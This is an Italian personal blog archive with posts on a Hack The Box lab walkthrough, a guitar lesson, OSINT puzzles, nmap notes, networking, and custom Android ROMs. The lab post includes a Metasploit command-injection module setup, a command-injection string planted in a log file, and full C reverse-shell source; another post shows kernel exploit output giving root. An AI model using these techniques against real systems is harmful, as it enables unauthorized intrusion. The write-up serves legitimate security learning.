Archive for the 'tmrc' Category
tutto sommato, sono scarso :)
c’ho perso così tanto tempo che vale la pena farci un post….
come dicevo quasi esattamente l’anno scorso, ho deciso di buttarmi un po’ più seriamente nell’affascinante mondo dell’ethical hacking (…)
il mio impegno di routine (ah, come amo la routine. com’è rassicurante) è cercare di fare una VM a settimana su hackthebox.eu
l’ultima è stata ScriptKiddie. di livello FACILE. in teoria
la VM in questione è ancora attiva, per cui.. se stai leggendo, vuol dire che ti ho dato la password 😀
cominciamo.
# nmap -T4 -p- -oN 01_nmap.txt 10.10.10.226
# Nmap 7.91 scan initiated Tue May 25 23:12:28 2021 as: nmap -T4 -p- -oN 01_nmap.txt 10.10.10.226
Nmap scan report for 10.10.10.226
Host is up (0.048s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
5000/tcp open upnp
andiamo leggermente più a fondo:
# nmap -T4 -p22,5000 -A -oN 02_nmap.txt 10.10.10.226
# Nmap 7.91 scan initiated Tue May 25 23:25:56 2021 as: nmap -T4 -p22,5000 -A -oN 02_nmap.txt 10.10.10.226
Nmap scan report for 10.10.10.226
Host is up (0.044s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 3c:65:6b:c2:df:b9:9d:62:74:27:a7:b8:a9:d3:25:2c (RSA)
| 256 b9:a1:78:5d:3c:1b:25:e0:3c:ef:67:8d:71:d3:a3:ec (ECDSA)
|_ 256 8b:cf:41:82:c6:ac:ef:91:80:37:7c:c9:45:11:e8:43 (ED25519)
5000/tcp open http Werkzeug httpd 0.16.1 (Python 3.8.5)
|_http-server-header: Werkzeug/0.16.1 Python/3.8.5
|_http-title: k1d'5 h4ck3r t00l5
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 443/tcp)
HOP RTT ADDRESS
1 43.92 ms 10.10.14.1
2 44.17 ms 10.10.10.226
chiaramente mi dirigo via browser sulla porta 5000:

provo a farmi un nmap da solo 🙂 metto il mio ip, e in effetti ricevo lo scan dal sito remoto:

# tcpdump -i tun0 -nn not port 5000
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
10:19:47.626618 IP 10.10.10.226.35770 > 10.10.14.28.80: Flags [S], seq 1822080011, win 64240, options [mss 1357,sackOK,TS val 3575408215 ecr 0,nop,wscale 7], length 0
10:19:47.626655 IP 10.10.14.28.80 > 10.10.10.226.35770: Flags [R.], seq 0, ack 1822080012, win 0, length 0
10:19:47.626675 IP 10.10.10.226.47216 > 10.10.14.28.443: Flags [S], seq 2628818854, win 64240, options [mss 1357,sackOK,TS val 3575408215 ecr 0,nop,wscale 7], length 0
10:19:47.626690 IP 10.10.14.28.443 > 10.10.10.226.47216: Flags [R.], seq 0, ack 2628818855, win 0, length 0
10:19:47.671060 IP 10.10.10.226.33122 > 10.10.14.28.111: Flags [S], seq 2417941658, win 64240, options [mss 1357,sackOK,TS val 3575408260 ecr 0,nop,wscale 7], length 0
10:19:47.671113 IP 10.10.14.28.111 > 10.10.10.226.33122: Flags [S.], seq 4074904182, ack 2417941659, win 65160, options [mss 1460,sackOK,TS val 1882515510 ecr 3575408260,nop,wscale 7], length 0
..
..
..
mi concentro poi sul secondo “blocco”, vedo che la generazione del payload per Linux fallisce sempre, quindi passo a Windows:

si riesce a generare un payload:

che si può scaricare da:
http://10.10.10.226:5000/static/payloads/1cc2ae72ad1d.exe
ma non ci si fa granché.
su /static e /payloads si ottiene un bel “Not Found”.
ma a che servirà quel “template”?
per fortuna mi è venuto in mente abbastanza presto di cercare “venom exploit template”, e ho trovato questo:
da msfconsole:
msf6 > use exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection
le opzioni sono poche ed intuitive:
msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > show options
Module options (exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.apk yes The APK file name
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.88.10 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
**DisablePayloadHandler: True (no handler will be created!)**
ho impostat LHOST sull’ip della mia VPN con hackthebox ( set LHOST 10.10.14.28 ) e la porta (non so perché l’ho voluta cambiare 🙂 set LPORT 5555 ), e ho generato il file:
msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > set LHOST 10.10.14.28
LHOST => 10.10.14.28
msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > set LPORT 5555
LPORT => 5555
msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) options
Module options (exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.apk yes The APK file name
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.14.28 yes The listen address (an interface may be specified)
LPORT 5555 yes The listen port
**DisablePayloadHandler: True (no handler will be created!)**
Exploit target:
Id Name
-- ----
0 Automatic
msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > run
[+] msf.apk stored at /root/.msf4/local/msf.apk
a questo punto ho messo in ascolto la porta 5555 sulla mia “attacker machine”:
root@kali:/opt/htb/ScriptKiddie# nc -nlvp 5555
listening on [any] 5555 ...
e ho provato ad usare il tool, stavolta buttandoci dentro il mio “malicious template”:

(su lhost ho messo un ip a cazzo, perché tanto ero convinto che avrebbe funzionato la reverse shell generata dall’apk di cui sopra), e infatti:
root@kali:/opt/htb/ScriptKiddie# nc -nlvp 5555
listening on [any] 5555 ...
connect to [10.10.14.28] from (UNKNOWN) [10.10.10.226] 44180
boom, siamo dentro 🙂
ahimé come utenti NON privilegiati:

mettiamoci subito comodi con una shell “umana” (bash -i)

in /home/kid/user.txt ho trovato il flag, e l’ho submittata su htb 🙂
per stare ANCORA PIU’ COMODO, ho messo in authorized_keys la mia chiave pubblica, e poi mi sono ricollegato sulla VM in ssh (ricordate? nmap mostrava 22/TCP aperta)
sulla mia kali ho spawnato un webserver python al volo:

e ho scaricato dalla VM victim la chiave, copiando nel posto giusto:

ok, ora sono veramente felice 🙂

dando un’occhiata in giro, si vede la presenza di un altro user, il che significa chiaramente che bisogna fare “lateral movement” prima di fare PRIVESC 🙂
kid@scriptkiddie:~$ cd /home/
kid@scriptkiddie:/home$ ls -l
total 8
drwxr-xr-x 12 kid kid 4096 May 28 08:01 kid
drwxr-xr-x 6 pwn pwn 4096 Feb 3 12:06 pwn
si nota la presenza di uno script scanlosers.sh
kid@scriptkiddie:~$ cd /home/pwn/
kid@scriptkiddie:/home/pwn$ ls -l
total 8
drwxrw---- 2 pwn pwn 4096 May 28 07:10 recon
-rwxrwxr-- 1 pwn pwn 250 Jan 28 17:57 scanlosers.sh
kid@scriptkiddie:/home/pwn$ cat scanlosers.sh
#!/bin/bash
log=/home/kid/logs/hackers
cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done
if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi
quindi, prende il terzo campo (separato da spazio) del file /home/kid/logs/hackers e ci lancia nmap contro.
è simpatica l’opportunità di provarlo 🙂
rimetto in ascolto tcpdump sulla mia VM:
root@kali:~# tcpdump -i tun0 -nn not port 5000 and not port 22
genero il file:
kid@scriptkiddie:/home/pwn$ echo 'a b 10.10.14.28' > /home/kid/logs/hackers
kid@scriptkiddie:/home/pwn$
e infatti ricevo ho ricevuto lo scan (verificando sempre con tcpdump -i tun0 -nn not port 5000 and not port 22)
da qui in poi ho perso 2 notti.
una cosa simpatica che mi era venuta in mente (visto che la VM si chiama “Scriptkiddie” che fa pensare all’opzione di nmap:
-oS filespec (ScRipT KIdd|3 oUTpuT)
Script kiddie output is like interactive output, except that it is post-processed to better suit the l33t HaXXorZ who previously looked down on Nmap due to its consistent
capitalization and spelling. Humor impaired people should note that this option is making fun of the script kiddies before flaming me for supposedly “helping themâ€.
ho dato un’occhiata su https://gtfobins.github.io/ , in merito a nmap appunto, e ho trovato questo:

ho pensato: magari provo ad eseguire qualcosa con l’utente pwn, manipolando il contenuto del file /home/kid/logs/hackers
intanto ho fatto una prova, dopo aver copiato lo script scanlosers.sh nella home di kid.
ho creato un semplice script nse (come l’esempio di gtfobins), in modo da verificare che “funzionasse”, ad esempio scrivendo l’output del comando id dentro /tmp:
kid@scriptkiddie:~$ echo 'os.execute("/usr/bin/id > /tmp/kid.txt")' > /tmp/kidscript.nse
kid@scriptkiddie:~$ nmap --top-ports 10 --script=/tmp/kidscript.nse 127.0.0.1
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-28 09:06 UTC
NSE: failed to initialize the script engine:
/usr/bin/../share/nmap/nse_main.lua:621: /tmp/kidscript.nse is missing required field: 'action'
stack traceback:
[C]: in function 'error'
/usr/bin/../share/nmap/nse_main.lua:621: in field 'new'
/usr/bin/../share/nmap/nse_main.lua:823: in local 'get_chosen_scripts'
/usr/bin/../share/nmap/nse_main.lua:1310: in main chunk
[C]: in ?
QUITTING!
in barba all’errore, il file è stato generato:
kid@scriptkiddie:~$ cat /tmp/kid.txt
uid=1000(kid) gid=1000(kid) groups=1000(kid)
da qui, ho perso veramente troppo tempo.
con l’utente kid sembrava funzionare come mi aspettavo (lo script scanlosers.sh l’ho leggermente modificato per usare i path relativi a kid)
kid@scriptkiddie:~$ cat scanlosers.sh
#!/bin/bash
log=/home/kid/test
cd /home/kid/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done
if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi
kid@scriptkiddie:~$ echo 'a b 10.10.14.28 --script=/tmp/kidscript.nse' > /home/kid/test
kid@scriptkiddie:~$ sh scanlosers.sh
scanlosers.sh: 10: [[: not found
kid@scriptkiddie:~$ NSE: failed to initialize the script engine:
/usr/bin/../share/nmap/nse_main.lua:621: /tmp/kidscript.nse is missing required field: 'action'
stack traceback:
[C]: in function 'error'
/usr/bin/../share/nmap/nse_main.lua:621: in field 'new'
/usr/bin/../share/nmap/nse_main.lua:823: in local 'get_chosen_scripts'
/usr/bin/../share/nmap/nse_main.lua:1310: in main chunk
[C]: in ?
QUITTING!
e il file è stato creato:
kid@scriptkiddie:~$ cat /tmp/kid.txt
uid=1000(kid) gid=1000(kid) groups=1000(kid)
non sono riuscito a fare altrettanto con utente pwn.
sbirciando (purtroppo) sul forum ufficiale, ho visto che si parlava di pspy; non ricordavo di averlo giù usato. è un tool che permette di avere una visione più chiara dei processi in tempo reale.
ho scaricato da qui la versione statica a 64bit:
https://github.com/DominicBreuker/pspy
l’ho copiata sulla VM victim con la stessa tecnica del web server Python, e l’ho eseguito:

ma non ho avuto fortuna:
kid@scriptkiddie:~$ echo 'a b 10.10.14.28 --script=/tmp/kidscript.nse' > /home/kid/logs/hackers

…perché chiaramente il comando nmap si “rompe” in quando non viene trovato /tmp/kidscript.nse.nmap.
dopo 2 serate 🙂 ho cambiato leggermente strada, abbandonando la via degli script nse e usando semplicemente bash:
kid@scriptkiddie:~$ echo 'a b ;/bin/bash -c "ping -c 3 10.10.14.28"' > /home/kid/logs/hackers
facendo così, ha funzionato: lato mio ho ricevuto i 3 ping:

con il traditional netcat non ho avuto fortuna (anche qui 🙂
al che, mi sono veramente rotto i coglioni e ho compilato una reverse shell in C, presa da qui:
(chiaramente ho impostato il mio indirizzo e la porta 6666)
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(void){
int port = 6666;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("10.10.14.28");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL);
return 0;
}
messa in ascolto la suddetta porta sulla mia VM:
root@kali:/opt/htb/ScriptKiddie# nc -nlvp 6666
listening on [any] 6666 ...
compilata la shell sulla VM victim:
kid@scriptkiddie:~$ gcc dio.c -o /home/kid/dio
kid@scriptkiddie:~$
kid@scriptkiddie:~$ echo 'a b ;/home/kid/dio #' > /home/kid/logs/hackers

FINALMENTE.
da qui in poi, tutto in discesa (sudo):


got root 🙂
No commentstales from internet (3)
Oggetto: LEZ: Triadi Aperte
Data: Mon, 25 Oct 1999 19:21:40 GMT
Da: mpoliti@QWERTYtin.it (Manray-FranK)
Società : TIN
Gruppi di discussione: it.arti.musica.strumenti.chitarra
...ciao!
Mi e' venuto in mente di scrivere quello che so sulle triadi aperte,
perche' hanno un bel suono, e anche perche' mi sembra una buona idea
suonare qualcosa con le dita della destra anche sull'elettrica.
Prima di tutto, vorrei chiarire un paio di concetti preliminari.
Il primo concetto e' quello di SET di corde.
Le sei corde della chitarra possono essere divise in diversi SET.
Un set e' un gruppo di corde ADIACENTI.
Un set puo' essere composto da 1, 2, 3, ... , 6 corde.
Se consideriamo set di 2 corde, avremo:
(le corde di ogni set sono disegnate col simbolo: = )
primo set: ============== secondo set: --------------
============== ==============
-------------- ==============
-------------- --------------
-------------- --------------
-------------- --------------
terzo set: -------------- quarto set: --------------
-------------- --------------
============== --------------
============== ==============
-------------- ==============
-------------- --------------
quinto set: --------------
--------------
--------------
--------------
==============
==============
Come si puo' notare, per convenzione il primo set e' sempre quello
piu' acuto.
Se si considerano set di 1 corda, avremo semplicemente le 6 corde
(primo set = mi cantino, secondo set = corda del si, etc...); il set
di 6 corde e' invece... tutte e 6 le corde, ovviamente!
Altro concetto preliminare: i REGISTRI.
Un registro e' una delle note (o VOCI) che compongono la triade.
Il registro piu' acuto si chiama: CANTO
Il registro centrale si chiama: TENORE
Il registro piu' grave si chiama: BASSO
Ora vorrei chiarire il concetto di triade aperta: una triade si dice
aperta se tra la nota piu' grave che la compone e quella piu' acuta
c'e' un intervallo maggiore di un'ottava.
es.
------- Questa e' una triade di do maggiore; la nota piu'
------- grave e' il do sulla quinta corda al terzo tasto,
o------- quella piu' acuta il sol a vuoto; tra le due note
-2----- c'e' un intervallo di una quinta giusta, intervallo
--3---- minore di un'ottava; per questo la triade e' in
------- posizione chiusa. In questo caso il basso e' il do, il
tenore e' il mi e il canto e' il sol.
------- Questa e' sempre una triade di do maggiore, ma
----5-- il registro centrale dell'esempio precedente e'
------- stato innalzato di un'ottava, cosi' che adesso
----5-- le voci saranno: basso = do, tenore = sol, canto =
--3---- mi. Tra il basso e il canto adesso c'e' un intervallo
------- di decima, superiore all'ottava, pertanto la triade
e' in posizione aperta.
In questo tipo di triadi aperte vengono interessate quattro corde,
pertanto dividiamo le 6 corde nei 3 set di quattro corde e ricaviamo
suoniamo la forma delle triadi (maggiori, minori e diminuite) su ogni
set.
TRIADI MAGGIORI IN POSIZIONE APERTA, PRIMO SET: --X---
------
--X---
X-----
------
------
TRIADE MINORE IN POSIZIONE APERTA, PRIMO SET: -X----
------
--X---
X-----
------
------
TRIADE DIMINUITA IN POSIZIONE APERTA, PRIMO SET: -X----
------
-X----
X-----
------
------
TRIADE MAGGIORE IN POSIZONE APERTA, SECONDO SET: ------
----X-
------
----X-
--X---
------
TRIADE MINORE IN POSIZIONE APERTA, SECONDO SET: ------
---X--
------
----X-
--X---
------
TRIADE DIMINUITA IN POSIZIONE APERTA, SECONDO SET: ------
---X--
------
---X--
--X---
------
N.B. in questo caso le posizione sono perfettamente uguali per il
primo e secondo set!
TRIADE MAGGIORE IN POSIZIONE APERTA, TERZO SET: ------
------
---X--
------
----X-
--X---
TRIADE MINORE IN POSIZIONE APERTA, TERZO SET: ------
------
--X---
------
----X-
--X---
TRIADE DIMINUITA IN POSIZIONE APERTA, TERZO SET: ------
------
--X---
------
---X--
--X---
Per questa lezione e' tutto, forse qualcuno ora conosce una cosa
nuova, e cioe' sa suonare le triadi in un modo piu' bello, secondo me,
piu' pieno rispetto alle normali triadi in posizione chiusa.
Una piccola nota, per adesso ho mostrato le triadi solo in posizione
fondamentale, e cioe' con la tonica al basso. Quindi per ogni
diagramma di cui sopra, c'e' sempre al basso la tonica, la voce
centrale e' sempre la quinta e al canto c'e' sempre la terza.
Nella prossima lezione (se tutto va bene... ;-D) mostrero' i rivolti
di queste triadi, e per concludere l'arrangiamento di uno standard
usando SOLO triadi aperte.
Ciao,
FranK
per risposta e-mail TOGLIERE /qwerty/ tra @ e tin.it
for e-mail reply REMOVE /qwerty/ between @ and tin.it
No comments
OSINT 2: another level
qui inizialmente mi ero arreso..

mi volevo concentrare su quella cupola che si vede vicino al traliccio, ma era troppo scura.
poi.. mi sono concentrato sul simbolo della Metro 🙂
sono finito su questo interessante sito:
http://mic-ro.com/metro/metrologos-static-old.html
e di conseguenza qui:

answer: Stoccolma 🙂
No commentsOSINT: che passione
ho chiesto al mio nemico Emailiano (che ha girato il mondo) di mandarmi un po’ di foto scattate da lui… e io dovevo indovinare il luogo
me ne ha mandato 29 (grazie!!), mi ci sono divertito per quasi tutta ieri (che era Domenica)
devo dire che questa forse è quella che mi ha dato più “piacere mentale”:

la ricerca inversa su google immagini , non mi ha aiutato molto

su yandex un po’ meglio, anche perché ho “croppato” intorno al… graffitO

che mi ha portato qui:

e di conseguenza su questo… blog?
https://le-siants.livejournal.com/1071523.html?view=comments

dove, ad un certo punto, si vede questa immagine:

la didascalia (usando Google translator), faceva riferimento a “ancora la stazione nord”):

ok, ma di quale città ?
torniamo dunque al titolo del post 🙂

Game Over *
1 commentbuon compleanno, nmap!
oggi ho beccato questo 🙂
root@vm:~/.pentest/serverfarm# nmap -T4 -Pn -n -sU -p- 1.2.3.4 --min-rate 100 -v
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-01 22:06 CEST
Happy 23rd Birthday to Nmap, may it live to be 123!
Initiating UDP Scan at 22:06
Scanning 1.2.3.4 [65535 ports]
UDP Scan Timing: About 2.37% done; ETC: 22:28 (0:21:19 remaining)
UDP Scan Timing: About 7.40% done; ETC: 22:28 (0:20:13 remaining)
grazie, Fyodor
No commentsTrivial networking
a volte capita la benedizione di scovare casualmente un problema di networking “casalingo”, e di inziarlo ad investigare.
lo trovo molto rilassante.
durante il mio viaggio esplorativo della documentazione di nmap, sono arrivato al capitolo “Remote OS detection” e stavo facendo due prove (in LAN).
dal server che ho casa (casa dei miei, attualmente), tale “junkie”, lancio un nmap -O su uno degli IP “vivi” – ossia di cui avevo l’ARP.
sinceramente, a memoria non sapevo nemmeno a cosa corrispondesse; poteva essere il device di Sky o lo smartphone di mamma, davvero non lo so, ma ottengo questo:
Starting Nmap 6.40 ( http://nmap.org ) at 2020-07-19 22:16 CEST
Stats: 0:00:07 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 94.55% done; ETC: 22:17 (0:00:00 remaining)
Nmap scan report for 192.168.1.95
Host is up (0.0030s latency).
Not shown: 995 closed ports
PORT STATE SERVICE
8008/tcp open http
8009/tcp open ajp13
8443/tcp open https-alt
9000/tcp open cslistener
10001/tcp open scp-config
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.9
Network Distance: 2 hops
OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.69 seconds
Non capisco: Network Distance: 2 hops? ma se è in LAN! 🙂
dopo alcuni secondi, realizzo:
root@junkie:~# ip route
default via 192.168.1.254 dev enp0s9 proto static metric 100
192.168.1.128/25 dev enp0s9 proto kernel scope link src 192.168.1.253 metric 100
svariati errori dunque (miei, di configurazione)
l’ip di junkie è 192.168.1.253.
- la netmask DOVEVA ESSERE /24, ma invece era rimasta /25 (un refuso della precedente configurazione, dove mezza casa navigava con Telecom e l’altra con Micso 🙂
- oltretutto il gateway è sbagliato! quello giusto è .251, mentre io c’ho lasciato .254 (ex router Telecom)
quindi junkie per “parlare” con 192.168.1.95, pensa che non sia nella sua rete locale, e lo manda al gateway (o meglio a quello che lui pensi sia il suo gateway).
il gateway risponde: “ma che cazzo vuoi, ce l’hai in lan, USA LA LAN”:
# ping 192.168.1.95
PING 192.168.1.95 (192.168.1.95) 56(84) bytes of data.
From 192.168.1.254 icmp_seq=1 Redirect Host(New nexthop: 192.168.1.95)
From 192.168.1.254: icmp_seq=1 Redirect Host(New nexthop: 192.168.1.95)
64 bytes from 192.168.1.95: icmp_seq=1 ttl=64 time=7.55 ms
64 bytes from 192.168.1.95: icmp_seq=2 ttl=64 time=2.94 ms
64 bytes from 192.168.1.95: icmp_seq=3 ttl=64 time=4.34 ms
junkie, strunziato, manda dunque i ping a 192.168.1.95, che ha la netmask giusta (/24), per cui lui SA come rispondere, anche se junkie resta ancora convinto che sia su un altro segmento di rete:
root@junkie:/etc/sysconfig# tcpdump -nn icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on enp0s9, link-type EN10MB (Ethernet), capture size 262144 bytes
22:27:32.179474 IP 192.168.1.253 > 192.168.1.95: ICMP echo request, id 18054, seq 2, length 64
22:27:32.181074 IP 192.168.1.254 > 192.168.1.253: ICMP redirect 192.168.1.95 to host 192.168.1.95, length 92
22:27:32.181121 IP 192.168.1.95 > 192.168.1.253: ICMP echo reply, id 18054, seq 2, length 64
22:27:33.180270 IP 192.168.1.253 > 192.168.1.95: ICMP echo request, id 18054, seq 3, length 64
concludendo, ecco come appare lo scan dopo aver fixato quello che c’era da fixare:
root@junkie:~# nmap -Pn 192.168.1.95 -O
Starting Nmap 6.40 ( http://nmap.org ) at 2020-07-19 22:46 CEST
Nmap scan report for 192.168.1.95
Host is up (0.0065s latency).
Not shown: 995 closed ports
PORT STATE SERVICE
8008/tcp open http
8009/tcp open ajp13
8443/tcp open https-alt
9000/tcp open cslistener
10001/tcp open scp-config
MAC Address: F4:F5:D8:F2:96:EE (Unknown)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.9
Network Distance: 1 hop
OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 4.83 seconds
Network Distance: 1 hop
e c’è pure il mac address 🙂
cmq, è il Google Chrome
1 commentvoglia di vivere
mi è tornata!
allora, io AMO darmi degli obiettivi. e percorrerli (non sempre arrivo alla fine).
l’obiettivo di 1 o 2 anni fa (più o meno) era dedicarsi alla lettura pressoché integrale del manuale FreeBSD Handbook.
certo, non è che mi sia messo a leggere la roba SULLE STAMPANTI, però è stato molto interessante. specialmente perché, durante quel percorso, avevo cercato di immergermi il più possibile nella “cosa”, tradotto: usavo FreeBSD come sistema desktop, ovunque (3 computer).
avevo iniziato a fare più o meno lo stesso con CentOS / Redhat. ma mi sono scazzato.
da non molto ho iniziato un percorso molto più stimolante: nmap 🙂
non avevo mai fatto caso al fatto che, sul sito ufficiale, c’è un manuale molto dettagliato ed esaustivo. ci sono parecchie cose interessanti.
e poi, Fyodor è troppo simpatico 🙂
ieri cazzeggiavo su Reddit e… a culo ho beccato un link. un corso su udemy .. “practical ethical hacking”… GRATIS
wow! ma che figata!
per adesso sto nella parte introduttiva e.. il livello è piuttosto basic. però adesso ci sono persino dei rudimenti di python, e il corso promette anche “come si sfonda active directory”.
boh, mi è tornata la voglia di vivere.
/me eterno studente
2 commentsun giorno memorabile :)
…e così, un giorno ti viene voglia di cambiare la password di un vecchio (vecchio per dire VECCHIO) server…
e da lì in poi, non riesci più da accedere 🙂
strano perché la data dello shadow è coerente con il momento della modifica (7 aprile ore 9:53)… quindi l’operazione di cambio password in qualche “ha avuto effetto”:
# ls -l /etc/shadow*
-rw------- 1 root root 1262 Apr 7 09:53 /etc/shadow
-rw------- 1 root root 1262 Apr 17 2019 /etc/shadow-
-rw------- 1 root root 386 May 30 2002 /etc/shadow.new
…ma niente: chissà forse nel copia/incolla mi sarà scappato un carattere in meno, uno spazio dopo… boh, fatto sta che la password di root era ormai diventata ignota.
quindi, non mi è rimasta altra strada se non quella di… bucarmi da solo 🙂
avevo trovato alcuni exploit per il kernel in questione (local privilege escalation, perché io COMUNQUE avevo accesso come utente normale).
ho chiesto qualche consiglio/conferma ad amici perché… buh, l’exploit si compilava benissimo ma avevo timore a lanciarlo (memore di certe “voci” del passato in cui gli effetti sono stati distruttivi)
ma alla fine…:
$ ./a.out
[+] SLAB cleanup
child 1 VMAs 65469
[+] moved stack bfffe000, task_size=0xc0000000, map_base=0xbf800000
[+] vmalloc area 0xf7400000 - 0xffffd000
Wait... |
[+] race won maps=57776
expanded VMA (0xbfffc000-0xffffe000)
[!] try to exploit 0xf88dd000
[+] gate modified ( 0xffec93b1 0x0804ec00 )
[+] exploited, uid=0
sh-2.05b# id
uid=0(root) gid=0(root) groups=100(users)
🙂
1 commentcryptorebels
ma quanto sono soddisfatto 🙂 🙂

ho passato oggi e ieri a farmi una cultura sulle romS, e ovviamente a fare 100 prove/sbagli
il succo è:
- il mio telefono è SM-G800H. nome in codice “kmini3g”
- con Linux puoi fare tranquillamente tutto quello che serve (apt install adb fastboot)
- “fastboot” in realtà nemmeno mi serve, perché il mio telefono non supporta quella modalità (ma ha piuttosto la modalità “download” o “odin”). poco male
- per flashare la rom, è necessario sovrascrivere la partizione di recovery “stock” con una custom. Tutto il mondo usa TWRP
- chiaramente faccio tutto questo per NON avere Google tra le palle, quindi l’alternativa è F-Droid
- F-Droid non si riesce ad installare, perché bisogna attivare “unknown sources” dal menu Settings -> Security. Se apro Security, ERRORE
- Per abilitare unknown sources tramite riga di comando: $ adb shell settings put secure install_non_market_apps 1
- Telegram, Whatsapp: installati direttamente tramite relativi apk 🙂
- La ROM scelta è: cm-13.0-20160522-UNOFFICIAL-kmini3g.zip (non ho trovato LineageOS funzionante)
Un paio di articoli carini:
https://anantshri.info/articles/android_cust_rom_security.html
Domani si pensa a come importare i contatti 🙂
Che bel regalo di Natale che mi sono fatto *
1 comment